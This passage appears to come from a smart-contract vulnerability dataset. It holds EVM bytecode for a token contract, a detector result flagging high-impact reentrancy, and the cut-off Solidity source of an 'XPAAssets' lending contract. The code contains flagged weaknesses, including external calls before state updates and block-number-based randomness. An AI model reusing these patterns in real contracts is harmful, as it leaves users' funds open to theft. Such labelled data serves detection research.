0080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102991906128ba565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c391906128ba565b6040518363ffffffff1660e01b81526004016110e0929190612d7d565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113291906128ba565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612dcf565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612a66565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555067d02ab486cedc0000600f819055506801a055690d9db800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161134c929190612da6565b602060405180830381600087803b15801561136657600080fd5b505af115801561137a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139e9190612a14565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612fad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612ecd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ef9190612fed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390612f6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d390612e6d565b60405180910390fd5b6000811161171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612f4d565b60405180910390fd5b6000600a81905550600c600b81905550611737610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a55750611775610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561184e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185757600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119025750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119585750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119705750600e60179054906101000a900460ff165b15611aae57600f548111156119ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b190612e8d565b60405180910390fd5b601054816119c784610a03565b6119d19190613123565b1115611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0990612f8d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5d57600080fd5b601e42611a6a9190613123565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b595750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611baf5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bc5576004600a819055506008600b819055505b6000611bd030610a03565b9050600e60159054906101000a900460ff16158015611c3d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c555750600e60169054906101000a900460ff165b15611c7d57611c6381611e92565b60004790506000811115611c7b57611c7a47611db8565b5b505b505b611c8a83838361218c565b505050565b6000838311158290611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce9190612e4b565b60405180910390fd5b5060008385611ce69190613204565b9050809150509392505050565b600080831415611d065760009050611d68565b60008284611d1491906131aa565b9050828482611d239190613179565b14611d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5a90612f0d565b60405180910390fd5b809150505b92915050565b6000611db083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061219c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e20573d6000803e3d6000fd5b5050565b6000600854821115611e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6290612ead565b60405180910390fd5b6000611e756121ff565b9050611e8a8184611d6e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f1e5781602001602082028036833780820191505090505b5090503081600081518110611f5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ffe57600080fd5b505afa158015612012573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203691906128ba565b81600181518110612070577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611431565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161213b959493929190613008565b600060405180830381600087803b15801561215557600080fd5b505af1158015612169573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61219783838361222a565b505050565b600080831182906121e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121da9190612e4b565b60405180910390fd5b50600083856121f29190613179565b9050809150509392505050565b600080600061220c6123f5565b915091506122238183611d6e90919063ffffffff16565b9250505090565b60008060008060008061223c87612457565b95509550955095509550955061229a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bf90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237b81612567565b6123858483612624565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e29190612fed565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea00000905061242b683635c9adc5dea00000600854611d6e90919063ffffffff16565b82101561244a57600854683635c9adc5dea00000935093505050612453565b81819350935050505b9091565b60008060008060008060008060006124748a600a54600b5461265e565b92509250925060006124846121ff565b905060008060006124978e8787876126f4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c8f565b905092915050565b60008082846125189190613123565b90508381101561255d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255490612eed565b60405180910390fd5b8091505092915050565b60006125716121ff565b905060006125888284611cf390919063ffffffff16565b90506125dc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612639826008546124bf90919063ffffffff16565b6008819055506126548160095461250990919063ffffffff16565b6009819055505050565b60008060008061268a606461267c888a611cf390919063ffffffff16565b611d6e90919063ffffffff16565b905060006126b460646126a6888b611cf390919063ffffffff16565b611d6e90919063ffffffff16565b905060006126dd826126cf858c6124bf90919063ffffffff16565b6124bf90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061270d8589611cf390919063ffffffff16565b905060006127248689611cf390919063ffffffff16565b9050600061273b8789611cf390919063ffffffff16565b905060006127648261275685876124bf90919063ffffffff16565b6124bf90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279061278b846130a2565b61307d565b905080838252602082019050828560208602820111156127af57600080fd5b60005b858110156127df57816127c588826127e9565b8452602084019350602083019250506001810190506127b2565b5050509392505050565b6000813590506127f8816136e0565b92915050565b60008151905061280d816136e0565b92915050565b600082601f83011261282457600080fd5b813561283484826020860161277d565b91505092915050565b60008135905061284c816136f7565b92915050565b600081519050612861816136f7565b92915050565b6000813590506128768161370e565b92915050565b60008151905061288b8161370e565b92915050565b6000602082840312156128a357600080fd5b60006128b1848285016127e9565b91505092915050565b6000602082840312156128cc57600080fd5b60006128da848285016127fe565b91505092915050565b600080604083850312156128f657600080fd5b6000612904858286016127e9565b9250506020612915858286016127e9565b9150509250929050565b60008060006060848603121561293457600080fd5b6000612942868287016127e9565b9350506020612953868287016127e9565b925050604061296486828701612867565b9150509250925092565b6000806040838503121561298157600080fd5b600061298f858286016127e9565b92505060206129a085828601612867565b9150509250929050565b6000602082840312156129bc57600080fd5b600082013567ffffffffffffffff8111156129d657600080fd5b6129e284828501612813565b91505092915050565b6000602082840312156129fd57600080fd5b6000612a0b8482850161283d565b91505092915050565b600060208284031215612a2657600080fd5b6000612a3484828501612852565b91505092915050565b600060208284031215612a4f57600080fd5b6000612a5d84828501612867565b91505092915050565b600080600060608486031215612a7b57600080fd5b6000612a898682870161287c565b9350506020612a9a8682870161287c565b9250506040612aab8682870161287c565b9150509250925092565b6000612ac18383612acd565b60208301905092915050565b612ad681613238565b82525050565b612ae581613238565b82525050565b6000612af6826130de565b612b008185613101565b9350612b0b836130ce565b8060005b83811015612b3c578151612b238882612ab5565b9750612b2e836130f4565b925050600181019050612b0f565b5085935050505092915050565b612b528161324a565b82525050565b612b618161328d565b82525050565b6000612b72826130e9565b612b7c8185613112565b9350612b8c81856020860161329f565b612b95816133d9565b840191505092915050565b6000612bad602383613112565b9150612bb8826133ea565b604082019050919050565b6000612bd0601983613112565b9150612bdb82613439565b602082019050919050565b6000612bf3602a83613112565b9150612bfe82613462565b604082019050919050565b6000612c16602283613112565b9150612c21826134b1565b604082019050919050565b6000612c39601b83613112565b9150612c4482613500565b602082019050919050565b6000612c5c602183613112565b9150612c6782613529565b604082019050919050565b6000612c7f602083613112565b9150612c8a82613578565b602082019050919050565b6000612ca2602983613112565b9150612cad826135a1565b604082019050919050565b6000612cc5602583613112565b9150612cd0826135f0565b604082019050919050565b6000612ce8601a83613112565b9150612cf38261363f565b602082019050919050565b6000612d0b602483613112565b9150612d1682613668565b604082019050919050565b6000612d2e601783613112565b9150612d39826136b7565b602082019050919050565b612d4d81613276565b82525050565b612d5c81613280565b82525050565b6000602082019050612d776000830184612adc565b92915050565b6000604082019050612d926000830185612adc565b612d9f6020830184612adc565b9392505050565b6000604082019050612dbb6000830185612adc565b612dc86020830184612d44565b9392505050565b600060c082019050612de46000830189612adc565b612df16020830188612d44565b612dfe6040830187612b58565b612e0b6060830186612b58565b612e186080830185612adc565b612e2560a0830184612d44565b979650505050505050565b6000602082019050612e456000830184612b49565b92915050565b60006020820190508181036000830152612e658184612b67565b905092915050565b60006020820190508181036000830152612e8681612ba0565b9050919050565b60006020820190508181036000830152612ea681612bc3565b9050919050565b60006020820190508181036000830152612ec681612be6565b9050919050565b60006020820190508181036000830152612ee681612c09565b9050919050565b60006020820190508181036000830152612f0681612c2c565b9050919050565b60006020820190508181036000830152612f2681612c4f565b9050919050565b60006020820190508181036000830152612f4681612c72565b9050919050565b60006020820190508181036000830152612f6681612c95565b9050919050565b60006020820190508181036000830152612f8681612cb8565b9050919050565b60006020820190508181036000830152612fa681612cdb565b9050919050565b60006020820190508181036000830152612fc681612cfe565b9050919050565b60006020820190508181036000830152612fe681612d21565b9050919050565b60006020820190506130026000830184612d44565b92915050565b600060a08201905061301d6000830188612d44565b61302a6020830187612b58565b818103604083015261303c8186612aeb565b905061304b6060830185612adc565b6130586080830184612d44565b9695505050505050565b60006020820190506130776000830184612d53565b92915050565b6000613087613098565b905061309382826132d2565b919050565b6000604051905090565b600067ffffffffffffffff8211156130bd576130bc6133aa565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312e82613276565b915061313983613276565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316e5761316d61334c565b5b828201905092915050565b600061318482613276565b915061318f83613276565b92508261319f5761319e61337b565b5b828204905092915050565b60006131b582613276565b91506131c083613276565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131f9576131f861334c565b5b828202905092915050565b600061320f82613276565b915061321a83613276565b92508282101561322d5761322c61334c565b5b828203905092915050565b600061324382613256565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329882613276565b9050919050565b60005b838110156132bd5780820151818401526020810190506132a2565b838111156132cc576000848401525b50505050565b6132db826133d9565b810181811067ffffffffffffffff821117156132fa576132f96133aa565b5b80604052505050565b600061330e82613276565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133415761334061334c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136e981613238565b81146136f457600080fd5b50565b6137008161324a565b811461370b57600080fd5b50565b61371781613276565b811461372257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201274f444922bf384093be5451ca1ac7637a76d4e0b612ff0e8ff49e344a123b464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,349 |
0xa1fb31fb49b6032a9b3b012ba21de5cedc38163b
|
pragma solidity ^0.4.21;
interface Token {
function totalSupply() constant external returns (uint256 ts);
function balanceOf(address _owner) constant external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) constant external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface XPAAssetToken {
function create(address user_, uint256 amount_) external returns(bool success);
function burn(uint256 amount_) external returns(bool success);
function burnFrom(address user_, uint256 amount_) external returns(bool success);
function getDefaultExchangeRate() external returns(uint256);
function getSymbol() external returns(bytes32);
}
interface Baliv {
function getPrice(address fromToken_, address toToken_) external view returns(uint256);
}
interface FundAccount {
function burn(address Token_, uint256 Amount_) external view returns(bool);
}
interface TokenFactory {
function createToken(string symbol_, string name_, uint256 defaultExchangeRate_) external returns(address);
function getPrice(address token_) external view returns(uint256);
function getAssetLength() external view returns(uint256);
function getAssetToken(uint256 index_) external view returns(address);
}
contract SafeMath {
function safeAdd(uint x, uint y)
internal
pure
returns(uint) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSub(uint x, uint y)
internal
pure
returns(uint) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMul(uint x, uint y)
internal
pure
returns(uint) {
uint z = x * y;
require((x == 0) || (z / x == y));
return z;
}
function safeDiv(uint x, uint y)
internal
pure
returns(uint) {
require(y > 0);
return x / y;
}
function random(uint N, uint salt)
internal
view
returns(uint) {
bytes32 hash = keccak256(block.number, msg.sender, salt);
return uint(hash) % N;
}
}
contract Authorization {
mapping(address => address) public agentBooks;
address public owner;
address public operator;
address public bank;
bool public powerStatus = true;
bool public forceOff = false;
function Authorization()
public
{
owner = msg.sender;
operator = msg.sender;
bank = msg.sender;
}
modifier onlyOwner
{
assert(msg.sender == owner);
_;
}
modifier onlyOperator
{
assert(msg.sender == operator || msg.sender == owner);
_;
}
modifier onlyActive
{
assert(powerStatus);
_;
}
function powerSwitch(
bool onOff_
)
public
onlyOperator
{
if(forceOff) {
powerStatus = false;
} else {
powerStatus = onOff_;
}
}
function transferOwnership(address newOwner_)
onlyOwner
public
{
owner = newOwner_;
}
function assignOperator(address user_)
public
onlyOwner
{
operator = user_;
agentBooks[bank] = user_;
}
function assignBank(address bank_)
public
onlyOwner
{
bank = bank_;
}
function assignAgent(
address agent_
)
public
{
agentBooks[msg.sender] = agent_;
}
function isRepresentor(
address representor_
)
public
view
returns(bool) {
return agentBooks[representor_] == msg.sender;
}
function getUser(
address representor_
)
internal
view
returns(address) {
return isRepresentor(representor_) ? representor_ : msg.sender;
}
}
contract XPAAssets is SafeMath, Authorization {
string public version = "0.5.0";
// contracts
address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170;
address public oldXPAAssets = 0x00D0F7d665996B745b2399a127D5d84DAcd42D251f;
address public newXPAAssets = address(0);
address public tokenFactory = 0x001393F1fb2E243Ee68Efe172eBb6831772633A926;
// setting
uint256 public maxForceOffsetAmount = 1000000 ether;
uint256 public minForceOffsetAmount = 10000 ether;
// events
event eMortgage(address, uint256);
event eWithdraw(address, address, uint256);
event eRepayment(address, address, uint256);
event eOffset(address, address, uint256);
event eExecuteOffset(uint256, address, uint256);
event eMigrate(address);
event eMigrateAmount(address);
//data
mapping(address => uint256) public fromAmountBooks;
mapping(address => mapping(address => uint256)) public toAmountBooks;
mapping(address => uint256) public forceOffsetBooks;
mapping(address => bool) public migrateBooks;
address[] public xpaAsset;
address public fundAccount;
uint256 public profit = 0;
mapping(address => uint256) public unPaidFundAccount;
uint256 public initCanOffsetTime = 0;
//fee
uint256 public withdrawFeeRate = 0.02 ether; // 提領手續費
uint256 public offsetFeeRate = 0.02 ether; // 平倉手續費
uint256 public forceOffsetBasicFeeRate = 0.02 ether; // 強制平倉基本費
uint256 public forceOffsetExecuteFeeRate = 0.01 ether;// 強制平倉執行費
uint256 public forceOffsetExtraFeeRate = 0.05 ether; // 強制平倉額外手續費
uint256 public forceOffsetExecuteMaxFee = 1000 ether;
// constructor
function XPAAssets(
uint256 initCanOffsetTime_,
address XPAAddr,
address factoryAddr,
address oldXPAAssetsAddr
) public {
initCanOffsetTime = initCanOffsetTime_;
XPA = XPAAddr;
tokenFactory = factoryAddr;
oldXPAAssets = oldXPAAssetsAddr;
}
function setFundAccount(
address fundAccount_
)
public
onlyOperator
{
if(fundAccount_ != address(0)) {
fundAccount = fundAccount_;
}
}
function createToken(
string symbol_,
string name_,
uint256 defaultExchangeRate_
)
public
onlyOperator
{
address newAsset = TokenFactory(tokenFactory).createToken(symbol_, name_, defaultExchangeRate_);
for(uint256 i = 0; i < xpaAsset.length; i++) {
if(xpaAsset[i] == newAsset){
return;
}
}
xpaAsset.push(newAsset);
}
//抵押 XPA
function mortgage(
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
uint256 amount_ = Token(XPA).allowance(msg.sender, this); // get mortgage amount
if(
amount_ >= 100 ether &&
Token(XPA).transferFrom(msg.sender, this, amount_)
){
fromAmountBooks[user] = safeAdd(fromAmountBooks[user], amount_); // update books
emit eMortgage(user,amount_); // wirte event
}
}
// 借出 XPA Assets, amount: 指定借出金額
function withdraw(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
token_ != XPA &&
amount_ > 0 &&
amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether)
){
toAmountBooks[user][token_] = safeAdd(toAmountBooks[user][token_],amount_);
uint256 withdrawFee = safeDiv(safeMul(amount_,withdrawFeeRate),1 ether); // calculate withdraw fee
XPAAssetToken(token_).create(user, safeSub(amount_, withdrawFee));
XPAAssetToken(token_).create(this, withdrawFee);
emit eWithdraw(user, token_, amount_); // write event
}
}
// 領回 XPA, amount: 指定領回金額
function withdrawXPA(
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
amount_ >= 100 ether &&
amount_ <= getUsableXPA(user)
){
fromAmountBooks[user] = safeSub(fromAmountBooks[user], amount_);
require(Token(XPA).transfer(user, amount_));
emit eWithdraw(user, XPA, amount_); // write event
}
}
// 檢查額度是否足夠借出 XPA Assets
/*function checkWithdraw(
address token_,
uint256 amount_,
address user_
)
internal
view
returns(bool) {
if(
token_ != XPA &&
amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether)
){
return true;
}else if(
token_ == XPA &&
amount_ <= getUsableXPA(user_)
){
return true;
}else{
return false;
}
}*/
// 還款 XPA Assets, amount: 指定還回金額
function repayment(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
XPAAssetToken(token_).burnFrom(user, amount_)
) {
toAmountBooks[user][token_] = safeSub(toAmountBooks[user][token_],amount_);
emit eRepayment(user, token_, amount_);
}
}
// 平倉 / 強行平倉, user: 指定平倉對象
function offset(
address user_,
address token_
)
onlyActive
public
{
uint256 userFromAmount = fromAmountBooks[user_] >= maxForceOffsetAmount ? maxForceOffsetAmount : fromAmountBooks[user_];
require(block.timestamp > initCanOffsetTime);
require(userFromAmount > 0);
address user = getUser(user_);
if(
user_ == user &&
getLoanAmount(user, token_) > 0
){
emit eOffset(user, user_, userFromAmount);
uint256 remainingXPA = executeOffset(user_, userFromAmount, token_, offsetFeeRate);
if(remainingXPA > 0){
require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), 1 ether), safeAdd(1 ether, offsetFeeRate)))); //轉帳至平倉基金
} else {
require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), safeSub(1 ether, offsetFeeRate)), 1 ether))); //轉帳至平倉基金
}
fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(userFromAmount, remainingXPA));
}else if(
user_ != user &&
block.timestamp > (forceOffsetBooks[user_] + 28800) &&
getMortgageRate(user_) >= getClosingLine()
){
forceOffsetBooks[user_] = block.timestamp;
uint256 punishXPA = getPunishXPA(user_); //get 10% xpa
emit eOffset(user, user_, punishXPA);
uint256[3] memory forceOffsetFee;
forceOffsetFee[0] = safeDiv(safeMul(punishXPA, forceOffsetBasicFeeRate), 1 ether); //基本手續費(收益)
forceOffsetFee[1] = safeDiv(safeMul(punishXPA, forceOffsetExtraFeeRate), 1 ether); //額外手續費(平倉基金)
forceOffsetFee[2] = safeDiv(safeMul(punishXPA, forceOffsetExecuteFeeRate), 1 ether);//執行手續費(執行者)
forceOffsetFee[2] = forceOffsetFee[2] > forceOffsetExecuteMaxFee ? forceOffsetExecuteMaxFee : forceOffsetFee[2];
profit = safeAdd(profit, forceOffsetFee[0]);
uint256 allFee = safeAdd(forceOffsetFee[2],safeAdd(forceOffsetFee[0], forceOffsetFee[1]));
remainingXPA = safeSub(punishXPA,allFee);
for(uint256 i = 0; i < xpaAsset.length; i++) {
if(getLoanAmount(user_, xpaAsset[i]) > 0){
remainingXPA = executeOffset(user_, remainingXPA, xpaAsset[i],0);
if(remainingXPA == 0){
break;
}
}
}
fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(punishXPA, remainingXPA));
require(Token(XPA).transfer(fundAccount, safeAdd(forceOffsetFee[1],safeSub(safeSub(punishXPA, allFee), remainingXPA)))); //轉帳至平倉基金
require(Token(XPA).transfer(msg.sender, forceOffsetFee[2])); //執行手續費轉給執行者
}
}
function executeOffset(
address user_,
uint256 xpaAmount_,
address xpaAssetToken,
uint256 feeRate
)
internal
returns(uint256){
uint256 fromXPAAsset = safeDiv(safeMul(xpaAmount_,getPrice(xpaAssetToken)),1 ether);
uint256 userToAmount = toAmountBooks[user_][xpaAssetToken];
uint256 fee = safeDiv(safeMul(userToAmount, feeRate), 1 ether);
uint256 burnXPA;
uint256 burnXPAAsset;
if(fromXPAAsset >= safeAdd(userToAmount, fee)){
burnXPA = safeDiv(safeMul(safeAdd(userToAmount, fee), 1 ether), getPrice(xpaAssetToken));
emit eExecuteOffset(burnXPA, xpaAssetToken, safeAdd(userToAmount, fee));
xpaAmount_ = safeSub(xpaAmount_, burnXPA);
toAmountBooks[user_][xpaAssetToken] = 0;
profit = safeAdd(profit, safeDiv(safeMul(fee,1 ether), getPrice(xpaAssetToken)));
if(
!FundAccount(fundAccount).burn(xpaAssetToken, userToAmount)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken],userToAmount);
}
}else{
fee = safeDiv(safeMul(xpaAmount_, feeRate), 1 ether);
profit = safeAdd(profit, fee);
burnXPAAsset = safeDiv(safeMul(safeSub(xpaAmount_, fee),getPrice(xpaAssetToken)),1 ether);
toAmountBooks[user_][xpaAssetToken] = safeSub(userToAmount, burnXPAAsset);
emit eExecuteOffset(xpaAmount_, xpaAssetToken, burnXPAAsset);
xpaAmount_ = 0;
if(
!FundAccount(fundAccount).burn(xpaAssetToken, burnXPAAsset)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken], burnXPAAsset);
}
}
return xpaAmount_;
}
function getPunishXPA(
address user_
)
internal
view
returns(uint256){
uint256 userFromAmount = fromAmountBooks[user_];
uint256 punishXPA = safeDiv(safeMul(userFromAmount, 0.1 ether),1 ether);
if(userFromAmount <= safeAdd(minForceOffsetAmount, 100 ether)){
return userFromAmount;
}else if(punishXPA < minForceOffsetAmount){
return minForceOffsetAmount;
